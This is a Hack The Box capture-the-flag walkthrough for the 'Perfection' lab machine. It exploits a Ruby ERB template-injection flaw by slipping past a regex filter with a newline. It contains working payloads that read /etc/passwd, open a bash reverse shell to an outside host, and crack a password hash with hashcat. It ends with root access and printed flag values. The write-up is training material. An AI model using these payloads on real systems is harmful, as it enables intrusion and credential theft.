Hack The Box - Perfection (Easy, Season 4)
Walkthrough / Write Up
by: ballzach
=====================


  • Spin up the box on the “Arena” VPN so we have our own instance, for more stability.
  • Add the ip address and host '10.x.x.x perfection.htb' to /etc/hosts
  • Ping the instance to test activity:
1
2
3
4
5
6
7
$ ping perfection.htb   
PING perfection.htb (10.x.x.x) 56(84) bytes of data.  
64 bytes from perfection.htb (10.x.x.x): icmp_seq=1 ttl=63 time=16.8 ms  
64 bytes from perfection.htb (10.x.x.x): icmp_seq=2 ttl=63 time=18.9 ms  
^C  
--- perfection.htb ping statistics ---  
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
  • We're live:

Enumeration

  • Start with a NMAP scan to view open ports and services running:
$ sudo nmap -sC -sV -Pn -A -sS -T4 -v -p- perfection.htb -oN nmap_all.txt  

PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)  
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)  
80/tcp open  http    nginx  
| http-methods:   
|_  Supported Methods: GET HEAD  
|_http-title: Weighted Grade Calculator  
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
  • We see a HTTPd running on port 80, so we'll brute force scan directories & files with feroxbuster:
$ feroxbuster --url http://perfection.htb --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --extensions php,txt,html,git,js --status-codes 200,301,302,401,403 --output ferox_output_dir-list-2.3-med.txt  

──────────────────────────────────────────────────  
200      GET       32l      220w    13738c http://perfection.htb/images/checklist.jpg  
200      GET       11l       52w     3860c http://perfection.htb/images/lightning.png  
200      GET        6l       12w      142c http://perfection.htb/css/lato.css  
200      GET      103l      387w     3827c http://perfection.htb/about  
200      GET      142l      444w     5191c http://perfection.htb/weighted-grade  
200      GET       51l      214w    14842c http://perfection.htb/images/susan.jpg  
200      GET        6l       12w      173c http://perfection.htb/css/montserrat.css  
200      GET      176l     1024w    79295c http://perfection.htb/images/tina.jpg  
200      GET      235l      442w    23427c http://perfection.htb/css/w3.css  
200      GET        4l       66w    31000c http://perfection.htb/css/font-awesome.min.css  
200      GET      101l      390w     3842c http://perfection.htb/

Weighted Grade Calculator

A tool to calculate the total grade in a class based on category scores and percentage weights.

1
2
3
4
5
6
7
8
9
Susan Miller  

A professor of Computer Science, Miller sponsored the creation of Secure Student Tools as Tina's passion project. She is the main coordinator and   
approves the creation of new tools or changes. She is also a sysadmin here at Acme University.  

Tina Smith  

The web developer of our team, Tina is a Computer Science major at Acme University and a bright mind. She was the one who came up with the   
entire idea for the vision of Secure Student Tools. She is an absolute whiz at web development, but she hasn't delved into secure coding too much. 

images/1-1.png

  • Let's find information about the dev/tech stack running:

images/1-2.png

  • Wappalyzer is a really great Firefox plugin that shows full tech stacks running behind a site:
  • We know nginx is running the HTTPd, from our NMAP scan, but it shows something interesting:
    • It appears to be running a reverse proxy, also.
    • A reverse proxy is used to call a service running on localhost (http://127.0.0.1, port: xxxx) - usually a webapp!
    • We also see that it picked up Ruby 3.0.2 running.
  • We can infer from this info that Weighted-Grade-Calculator is a Ruby-based webapp running on the site, via a reverse-proxy through nginx.
  • Let's see if we can find more information on the site, and also the HTTP HEADERS:
  • At the bottom of the /weighted-grade page we find:
    Copyright © Secure Student Tools. All rights reserved  
    Powered by WEBrick 1.7.0
    
  • Firefox > F12 > Network > Headers > Reload Page:

images/1-3.png

  • We pick up the HTTP Response Headers:
HTTP/1.1 200 OK  
Server: nginx  
Date: Wed, 06 Mar 2024 17:52:42 GMT  
Content-Type: text/html;charset=utf-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
X-Xss-Protection: 1; mode=block  
X-Content-Type-Options: nosniff  
X-Frame-Options: SAMEORIGIN  
Server: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)  
Content-Encoding: gzip
  • We can see it picks up Server: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
  • How does it have two “Server:” headers?
  • We know that Wappalyzer & NMAP picked up nginx as the HTTPd, Wappalyzer showed a “reverse proxy” on nginx, with Ruby v3.0.2
  • This confirms our previous inference that “Weighted-Grade-Calculator” is in fact a Ruby-based webapp, running on WEBrick, which is a Ruby-based HTTPd server, via the nginx reverse-proxy.
  • We can safely assume that this is our path to foothold, since we're able to communicate with the WEBrick server / Ruby backend, via the nginx-hosted site.

Exploit Research

WEBrick is an HTTP server toolkit that can be configured as an HTTPS server, a proxy server, and a virtual-host server.

WEBrick features complete logging of both server operations and HTTP access.

WEBrick supports both basic and digest authentication in addition to algorithms not in RFC 2617.

A WEBrick server can be composed of multiple WEBrick servers or servlets to provide differing behavior on a per-host or per-path basis.

WEBrick includes servlets for handling CGI scripts, ERB pages, Ruby blocks and directory listings.

WEBrick also includes tools for daemonizing a process and starting a process at a higher privilege level and dropping permissions.

  • https://github.com/ruby/webrick/releases/tag/v1.7.0
    - Released on November 17, 2022
  • Google:Ruby v3.0.2 release date changelog

    - https://www.ruby-lang.org/en/news/2021/07/07/ruby-3-0-2-released/
    - Released on July 7, 2021

  • Google:Webrick 1.7.0 vulnerabilities” / “Webrick 1.7.0 exploits” / “Ruby 3.0.2 vulnerabilities” / “Ruby 3.0.2 exploits
    - Nothing really interesting comes up for CVEs/exploits on these versions.
    - We would be looking for CVEs/exploits around the release dates of these versions above.
    - There are some older ones:
  • https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ruby
    -CVE-2021-41817
    -Date.parse in the date gem through 3.2.0 for Ruby allows ReDoS (regular expression Denial of Service) via a long string. The fixed versions are 3.2.1, 3.1.2, 3.0.2, and 2.0.1.
  • https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=webrick
    1. CVE-2020-25613
      • An issue was discovered in Ruby through 2.5.8, 2.6.x through 2.6.6, and 2.7.x through 2.7.1. WEBrick, a simple HTTP server bundled with Ruby, had not checked the transfer-encoding header value rigorously. An attacker may potentially exploit this issue to bypass a reverse proxy (which also has a poor header check), which may lead to an HTTP Request Smuggling attack.
    2. CVE-2019-16254
      • Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.
    3. CVE-2019-16201
      • WEBrick::HTTPAuth::DigestAuth in Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 has a regular expression Denial of Service cause by looping/backtracking. A victim must expose a WEBrick server that uses DigestAuth to the Internet or a untrusted network.
    4. CVE-2019-11879
      • ** DISPUTED ** The WEBrick gem 1.4.2 for Ruby allows directory traversal if the attacker once had local access to create a symlink to a location outside of the web root directory. NOTE: The vendor states that this is analogous to Options FollowSymlinks in the Apache HTTP Server, and therefore it is "not a problem."
  • https://security.snyk.io/vuln?search=webrick
    • images/1-19_snyk.PNG
  • https://vuldb.com/?search | “ruby 3.0.2”
    • https://vuldb.com/?id.199299
    • VDB-199299 · CVE-2022-28738
    • RUBY UP TO 3.0.3/3.1.1 REGEXP COMPILER DOUBLE FREE
    • This affects some unknown functionality of the component Regexp Compiler. The manipulation with an unknown input leads to a double free vulnerability.
    • The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
  • https://vuldb.com/?search | “webrick”
    • images/1-20_vuldb.PNG

Foothold Research

  • Nothing found thus far raises an eyebrow. Usually on an “easy” Hack The Box module, there should be a known CVE per their box creation requirements.
  • However, none of these CVEs found really even apply to the versions of Webrick & Ruby that we're dealing with.
    • CVE-2022-28738 is a “double free” vulnerbaility, which exploits memory buffers.
    • CVE-2021-41817 is a DDoS vulnerability.
      • Neither of these would apply to this (easy) box or situation. The memory buffer vuln, perhaps - but not an easy box.
  • It is however, important to note the description of these vulnerabilites. “REGEX” or “Regular Expressions” stands out. We will see how this applies later.
  • SO, let's take a look at how the weighted-grade calculator web application works:
  • Remember the instructions said to ensure your “weights” total to 100.
  • If you do not, then you'll get an error message saying “Please reenter! Weights do not add up to 100.”
  • Otherwise, if you do not use a row, then use “N/A” for the Category, and “0" for the Grade and Weight.
  • If you do it correctly, you'll get a working response:
    images/1-4.png
  • Let's look at the request parameters from the user arguments inputs being sent to the webapp:
    • This can be done one of two ways:

        1. Intercept the request with a Burpsuite proxy:
          images/1-5.png
        1. F12 - Developer Tools, in Firefox or other browser. “F12” > Refresh the page & enter fields and submit >
        2. > Network tab > Click the correct HTTP “Status” (200 POST weighted-grade-calc) > Request > Click “Raw”
      • images/1-6.png
      • You'll get the following request parameters being sent to the webapp:
        category1=A&grade1=90&weight1=20&category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20
        
  • This leaves me with two suspected attack paths for a foothold:
    • SQL Injection (SQLi)
    • Command Injection / Server Side Template Injection (SSTI)
  • SQL Injection won't be my first option, because we have 15 parameters (user arguments entered.) That would take forever to test.
  • A Command injection / or SSTI vulnerability seems more likely, and here's my explained methodology of why:
  • You can enumerate for a command injection vulnerability very easily.
    • Similar to using ' for SQLi as the “escape character delimiter," you can usually use ' or ; or ` symbols to do some basic enumeration
    • You can do so one of two ways:
      • Via the URL:
        • We'll try to visit http://perfection.htb/'1
          images/1-7.png
        • Hmm.. this is really interesting...
        • AND - right-clicking the unloaded image thumbnail and choosing “Copy Image Link” we get: http://127.0.0.1:3000/__sinatra__/404.png
        • This confirms our previous assumption about the nginx reverse-proxy hosting the Ruby app running on localhost.
      • Or via the HTTP request parameters:
        • We'll try to enter ' or ; or ` in any of the user argument fields in the calculator:
          images/1-8.png
        • Hmm.. another interesting outcome...
  • This may seem bad, but it's great because we have more RELEVENT information.
    • First, we see something called “Sinatra” running on the given error page, also verifying that it's the enging running behind the reverse-proxy.
    • Secondly, we can see “Malicious input blocked” which tells us there is likely a “filter” that is filtering our input
      • This goes back to the regex / regular expressions valnerabilities we saw on old CVEs for Ruby.
      • If you're not familar with “Regex” I would suggest you get familar with it via GREP or otherwise.
      • Essentially, it's a method of pattern or character matching. The program author can preset regex requirments for the user input.
        • E.G: block characters like ' and if caught, tell you “Malicious input blocked.”
  • So, what is Sinatra?
    • Sinatra is a lightweight web application framework for Ruby. Like Flask or Django is to Python, except:
    • Unlike Flask, Sinatra is a “DSL” or Domain-Specific Language, built to handle specific tasks with simpler syntax versus a GPL (General-Purpose Language.)
    • https://sinatrarb.com/
    • https://github.com/sinatra/sinatra
  • Further digging reveals that Sinatra (like WEBrick) work with “TEMPLATING ENGINES” such as “ERB” aka “Embedded Ruby” aka Erubi
  • AHA! Template / Templating Engine.... such as Server Side Template Injection?

    • You should be familiar with Jinja2, the templating engine for Python webapps such as Django ro Flask.
    • {{7*7}} ring a bell? This is the default command injection to test for to see if a webapp is vulnerable...
    • Let's see what's available for Ruby SSTI:
    • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby
    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby---basic-injections
    • <%= 7 * 7 %> is the recommended format
    • Except, I suspect that regex filter is going to give us “Malicious code blocked”...
      images/1-9.png
    • Mmhmm....
    • SO, we need to look into SSTI / injection filer bypass or obfuscation, specific to Sinatra language regex / ERB templates:
    • What does it mean?
      • In the Ruby webapp, the developer put in a regex filter for accepting and filtering the user input fields.
      • The regex is something like: /^[0–9a-zA-Z ]+$/i
        • This tells the webapp to accept any user input characters that are 0-9, lowercase a-z, uppercase A-Z, or a <space>
        • Anything else, block. Which is why we cannot get our special characters ' or ; or ` -- or <%= 7 * 7 %> -- by it, lest we get “Malicious code blocked”
    • How do we bypass the filter? As David Hamann explains in his blog, and Code Climate shows - linked above, and as you can see in the other links provided...
      • In Ruby3.x, the ^ and $ match the start and end of each line, whereas \A and \z match the start and end of a string.
      • These are the “anchors” telling the webapp the position of the user's argument inputted.
      • THE PROBLEM IS: if the webapp regex passes the user argument from the first line, the filter ignores any other lines and they bypass the filter and get ran
    • Case in point:
      ABC  
      ; <%= 7 * 7 %> ;
      
    • YOU ABSOLUTELY MUST HAVE THE %0A FOR “NEW LINE”
    • If we URL-encode this (To get the “new line” encoded correctly you have to use an editor like https://urlencoder.org or https://urluncoder.io *OR* <Decoder> / <Highlight+CTRL+u> in Burpsuite) you get:
      1
      2
      3
      ABC%0A%3B+%3C%25=+7+%2A+7+%25%3E+%3B  
      -OR-  
      ABC%0A%3B%20%3C%25%3D%207%20%2A%207%20%25%3E%20%3B
      
    • Here it is done in Firefox:
      images/1-10.png
    • Here it is done in Burpsuite:
      images/1-11.png
    • Here ^^ We can see that the “ABC" satisfies the REGEX /^[0–9a-zA-Z ]+$/i and since that line ends (with %0A), we escape/bypass the filter.
      • Anything after the first line gets processed or executed
    • SO, if that's the case - HOW DO WE EXECUTE SYSTEM COMMANDS?!?!?!?!!
      • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby---code-execution
      • READ FILE:
        <%= File.open('/etc/passwd').read %>
      • CODE EXECUTION:
        1
        2
        3
        4
        5
        <%= system('cat /etc/passwd') %>  
        <%= `ls /` %>  
        <%= IO.popen('ls /').readlines()  %>  
        <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>  
        <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
        
      • Testing File.open().read:
        ABC  
        ; <%= File.open('/etc/passwd').read %> ;  
        
        category1=ABC%0A%3b+<%25%3d+File.open('/etc/passwd').read+%25>+%3b&grade1=90&weight1=20&category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20  
        
        images/1-12.png
      • Testing system() command execution:
        ABC  
        ; <%= system('cat /etc/passwd') %> ;  
        
        category1=ABC%0A%3b+<%25%3d+system('cat+/etc/passwd')+%25>+%3b&grade1=90&weight1=20&category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20  
        
      • This does not transmit the command result over HTTP, only shows “true” if successful or “false” if unsuccessful.
        images/1-13.png
      • Testing backticks `` code execution:
        ABC  
        ; <%= `cat /etc/passwd` %> ;  
        
        category1=ABC%0A%3b+<%25%3d+`cat+/etc/passwd`+%25>+%3b&grade1=90&weight1=20&category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20  
        
        images/1-14.png
      • Testing Bash Reverse Shell via backticks command exec:
        ABC  
        ; <%= `bash -i >& /dev/tcp/10.10.0.0/4444 0>&1` %> ;
        
        category1=ABC%0A%3b+<%25%3d+`bash+-i+>%26+/dev/tcp/10.10.0.0/4444+0>%261`+%25>+%3b&grade1=90&weight1=20&category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20  
        
        images/1-15.png
      • No good, we have to call the bash command from bash -c

FOOTHOLD

ABC  
; <%= `bash -c "bash -i >& /dev/tcp/10.10.0.0/4444 0>&1"` %> ;  
category1=ABC%0A%3b+<%25%3d+`bash+-c+"bash+-i+>%26+/dev/tcp/10.10.0.0/4444+0>%261"`+%25>+%3b&grade1=90&weight1=20&category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20  

You MUST call bash command from the bash -c flag!

images/1-16.png

  • SUCCESS!!! ^^^^ Reverse Shell!
  • PRO TIP: If you are doing the above injections that you see working here, but you are still getting “Malicious input blocked," then you have to make sure your web parameters are chained in one line, and word-wrap themselves if they need to.
    • MAKE SURE they are not manually broken up on different lines like:
      1
      2
      3
      category1=ABC%0A%3b+<%25%3d+`bash+-c+"bash+-i+>%26+/dev/tcp/10.10.0.0/4444+0>%261"`+%25>+%3b&grade1=90&weight1=20&  
      category2=B&grade2=90&weight2=20&category3=C&grade3=90&weight3=20&  
      category4=D&grade4=90&weight4=20&category5=E&grade5=90&weight5=20
      
  • If burpsuite does this naturally, that's fine - that's “wrapped-text” due to lack of space. It's still processed as “one line" and thus, works.
  • When you have the injection UN-URL-Encoded, it will break up into multi-lines. When you URL-Encode it, it should revert.
  • REMEMBER: the %0A which is essentially \n for “new line," is the key to this working. Unless you use an online-url-encoder (https://urlencoder.com) then you may have to insert this manually in burpsuite.
  • *DELETE ALL BLANK LINES/SPACES AFTER THE weight5=xx ALSO* or you will throw a “Malicious input blocked” error.
  • NOTE: You can URL-Encode all characters, instead of just "necessary characters. DO NOT double-url-encode characters.

User Enumeration

  • Linpeas:

images/1-17.png

images/1-18.png

  • Our user, susan, is part of the “sudo” group -- but we cannot run “sudo” without a password.
  • Interestingly enough, linpeas picks up a database file in /home/susan/Migration/pupilpath_credentials.db
    • We can view this with sqlite3
  • Linpeas also picks up a /var/mail/susan email file that is in our user's name, and our user group “susan” owns and has read permissions.
    • We'll take a look at the email.
      susan@perfection:~$ sudo -l  
      sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper  
      sudo: a password is required  
      susan@perfection:~$ sudo -S -l  
      sudo -S -l  
      [sudo] password for susan:   
      Sorry, try again.  
      [sudo] password for susan:   
      Sorry, try again.  
      [sudo] password for susan:   
      sudo: 3 incorrect password attempts  
      
      susan@perfection:~$ cat /var/mail/susan  
      
      Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students  
      
      in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:  
      
      {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}  
      
      Note that all letters of the first name should be convered into lowercase.  
      
      Please hit me with updates on the migration when you can. I am currently registering our university with the platform.  
      
      - Tina, your delightful student  
      
      susan@perfection:~$ sqlite3 /home/susan/Migration/pupilpath_credentials.db  
      .tables  
      users  
      select * from users;  
      1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f  
      2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57  
      3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393  
      4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a  
      5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8  
      .exit  
      
      susan@perfection:~$ cat user.txt  
      dd66a0dd5d7cd92cc10b795d24280bfc  
      
      susan@perfection:~$
      
  • We pick up a password hash from the database file.
  • The email indicates that the password format is: {firstname}{firstname backwards}{randomly generated integer between 1 and 1,000,000,000}
    • So susan's password should be “susan_nasus_” ending with a random integer / number between 1 & 1,000,000
  • This is an easy task for hashcat:
    C:\Users\xxxxxxxxxxx\desktop\hashcat-6.2.6>hashcat abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f  
    hashcat (v6.2.6) starting in autodetect mode  
    
    * Device #1: NVIDIA GeForce GTX 1080 Ti, 11136/11263 MB (2815 MB allocatable), 28MCU  
    
    The following 8 hash-modes match the structure of your input hash:  
    
            # | Name                                                       | Category  
        ======+============================================================+======================================  
        1400 | SHA2-256                                                   | Raw Hash  
        17400 | SHA3-256                                                   | Raw Hash  
        11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash  
        6900 | GOST R 34.11-94                                            | Raw Hash  
        17800 | Keccak-256                                                 | Raw Hash  
        1470 | sha256(utf16le($pass))                                     | Raw Hash  
        20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated  
        21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated  
    
    Please specify the hash-mode with -m [hash-mode].
    
  • Here we see that the hash is a SHA-256 cipher, that is mode 1400 on hashcat, or -m 1400.
    - [ Attack Modes ] -  
    
        # | Mode  
        ===+======  
        0 | Straight  
        1 | Combination  
        3 | Brute-force  
        6 | Hybrid Wordlist + Mask  
        7 | Hybrid Mask + Wordlist  
        9 | Association
    
  • We want to brute force the random integer, so we will use attack mode 3, or -a 3
    ? | Charset  
    ===+=========  
    l | abcdefghijklmnopqrstuvwxyz [a-z]  
    u | ABCDEFGHIJKLMNOPQRSTUVWXYZ [A-Z]  
    d | 0123456789                 [0-9]  
    h | 0123456789abcdef           [0-9a-f]  
    H | 0123456789ABCDEF           [0-9A-F]  
    s | !"#$%&'()*+,-./:;<=>?@[]^_\`{|}~  
    a | ?l?u?d?s  
    b | 0x00 - 0xff
    
  • A random integer between 1 and 1,000,000 could be up to 9 digits. Hashcat has a built in charset with ?d for numbers 0-9, with each ?d representing a digit.
    • So we just have to format this for nine digits, or nine times ?d
    • If susan's password has less than 9 digits, hashcat will crack the SHA-256 cipher accordingly, but we want a max of 9 digits just in case we need them.
      C:\Users\xxxxxxxxdesktop\hashcat-6.2.6>hashcat -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d  
      hashcat (v6.2.6) starting  
      
      * Device #1: NVIDIA GeForce GTX 1080 Ti, 11136/11263 MB (2815 MB allocatable), 28MCU  
      
      Minimum password length supported by kernel: 0  
      Maximum password length supported by kernel: 256  
      
      Hashes: 1 digests; 1 unique digests, 1 unique salts  
      Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates  
      
      Optimizers applied:  
      * Zero-Byte  
      * Early-Skip  
      * Not-Salted  
      * Not-Iterated  
      * Single-Hash  
      * Single-Salt  
      * Brute-Force  
      * Raw-Hash  
      
      ATTENTION! Pure (unoptimized) backend kernels selected.  
      Pure kernels can crack longer passwords, but drastically reduce performance.  
      If you want to switch to optimized kernels, append -O to your commandline.  
      See the above message to find out about the exact limits.  
      
      Watchdog: Temperature abort trigger set to 90c  
      
      Host memory required for this attack: 1475 MB  
      
      abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210  
      
      Session..........: hashcat  
      Status...........: Cracked  
      Hash.Mode........: 1400 (SHA2-256)  
      Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f  
      Time.Started.....: Wed Mar 06 23:20:41 2024 (3 secs)  
      Time.Estimated...: Wed Mar 06 23:20:44 2024 (0 secs)  
      Kernel.Feature...: Pure Kernel  
      Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]  
      Guess.Queue......: 1/1 (100.00%)  
      Speed.#1.........:   128.0 MH/s (1.32ms) @ Accel:128 Loops:1 Thr:256 Vec:1  
      Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)  
      Progress.........: 324796416/1000000000 (32.48%)  
      Rejected.........: 0/324796416 (0.00%)  
      Restore.Point....: 323878912/1000000000 (32.39%)  
      Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1  
      Candidate.Engine.: Device Generator  
      Candidates.#1....: susan_nasus_073862210 -> susan_nasus_413574210  
      Hardware.Mon.#1..: Temp: 54c Fan:  0% Util: 97% Core:2012MHz Mem:5103MHz Bus:16
      

PASSWORD: susan_nasus_413759210

You can crack it in John The Ripper, also.

However, I would not suggest it. I tried it and it keeps a ~/.john/john.log file for cache, and trying this ate up over 10gb of space. So, if you use a VM with limited space, forget it. If you manage to get it to work, leave a comment, as I didn't get to finish it..

  • https://security.stackexchange.com/questions/234447/john-the-ripper-find-password-when-you-know-a-part-of-it
  • https://miloserdov.org/?p=4961
  • https://akimbocore.com/article/custom-rules-for-john-the-ripper/

    • In john.conf (make sure it's the correct one, I have multiple) you can add:
      [List.Rules:AppendDigits]
      : $[0-9]
      : $[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      
    • Or locate your ../john/rules/*.rule file, create AppedDigits.rule:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      : $[0-9]
      : $[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      : $[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]$[0-9]
      
    • Then, with the second option, you also need to add to john.conf:
      [List.Rules:AppendDigits]
      .include <rules/AppendDigits.rule>
      
  • echo -n 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' > susan.hash
  • echo -n 'susan_nasus_' > susan.pass
  • john --rule=AppendDigits --wordlist=susan.pass susan.hash

That should work.

1
2
3
4
5
6
: = "do nothing", but is important because it includes the partial pass to start with
$ = "append" the partial pass with...
[0-9] = regex for a value 0-9
[0-9][0-9] = two numeric places
[0-9][0-9][0-9] = three numeric places
.... so on, so forth, out to 9 numeric places.

Privilege Escalation

  • Log in with SSH since we have the password
  • Since our user susan is part of the “sudo” group, this means we can run sudo commands if we have the password.
  • “sudo -l” shows us that we have no restrictions on which sudo commands we can run.
  • So, GTFOBins shows sudo sudo /bin/bash as a way to escalate to root
  • OR you can simply do sudo su
$ ssh [email protected]  
[email protected]'s password:   
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)  

You have mail.  

susan@perfection:~$ sudo -l  
[sudo] password for susan:   
Matching Defaults entries for susan on perfection:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty  

User susan may run the following commands on perfection:  
    (ALL : ALL) ALL  

susan@perfection:~$ sudo sudo /bin/bash  

root@perfection:/home/susan# id  
uid=0(root) gid=0(root) groups=0(root)  

root@perfection:/home/susan# whoami  
root  

root@perfection:/home/susan# cat /root/root.txt   
f941301ab52baab659f4e325aff57e7b  

root@perfection:/home/susan# exit  

susan@perfection:~$ sudo su  

root@perfection:/home/susan# id  
uid=0(root) gid=0(root) groups=0(root)  

root@perfection:/home/susan# whoami  
root  

root@perfection:/home/susan# cat /root/root.txt   
f941301ab52baab659f4e325aff57e7b

VOILA!


POST ROOT

nginx.conf shows the proxy running on port 3000 locally to call the Ruby App which running on port 3000.

  • This can be confirmed by checking netstat:
      susan@perfection:~$ netstat -tulpn
    (Not all processes could be identified, non-owned process info
     will not be shown, you would have to be root to see it all.)
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
    tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      993/ruby            
    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
    tcp6       0      0 :::22                   :::*                    LISTEN      -                   
    udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
    udp        0      0 0.0.0.0:68              0.0.0.0:*                           -            
    
  • Also can be seen in the main.rb app:
    1
    2
    3
    4
    configure do
      set: bind, '127.0.0.1'
    set: port, '3000'
    end
    

/etc/nginx/sites-enabled/default shows the HTTP headers we found in the beginning.

nginx.conf

main.rb -- Ruby App

  • You can see the "sinatra" & "erb" packages loaded with "require"
  • You can also the logic and REGEX filter in the app's code, as we noted before:
1
2
3
4
erb: 'weighted_grade_results'
elsif params[: category1] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category2] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category3] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category4] = ~/^[a-zA-Z0-9/ ]+$/ && params[: category5] = ~/^[a-zA-Z0-9/ ]+$/ && ....
else
  @result = "Malicious input blocked"
  • If category1, category3, etc params [a-zA-Z0-9/ ] do not equal REGEX:
    1
    2
    3
    4
    5
    6
    [a-zA-Z0-9/ ] == ALLOWS THE FOLLOWING CHARS:
    = a-z
    = A-Z
    = 0-9
    = /
    = <space>
    
  • Then (else) give @result = "Malicious input blocked"
  • And the ^ = "start of line" and $ = "end of line" for REGEX in Ruby v3.x -- it does not account for a "new line" which is why this filter bypass %0A works!
    less main.rb
    require 'sinatra'
    require 'erb'
    set: show_exceptions, false
    
    configure do
      set: bind, '127.0.0.1'
    set: port, '3000'
    end
    
    get '/'
    do
      index_page = ERB.new(File.read 'views/index.erb')
    response_html = index_page.result(binding)
    return response_html
    end
    
    get '/about'
    do
      about_page = ERB.new(File.read 'views/about.erb')
    about_html = about_page.result(binding)
    return about_html
    end
    
    get '/weighted-grade'
    do
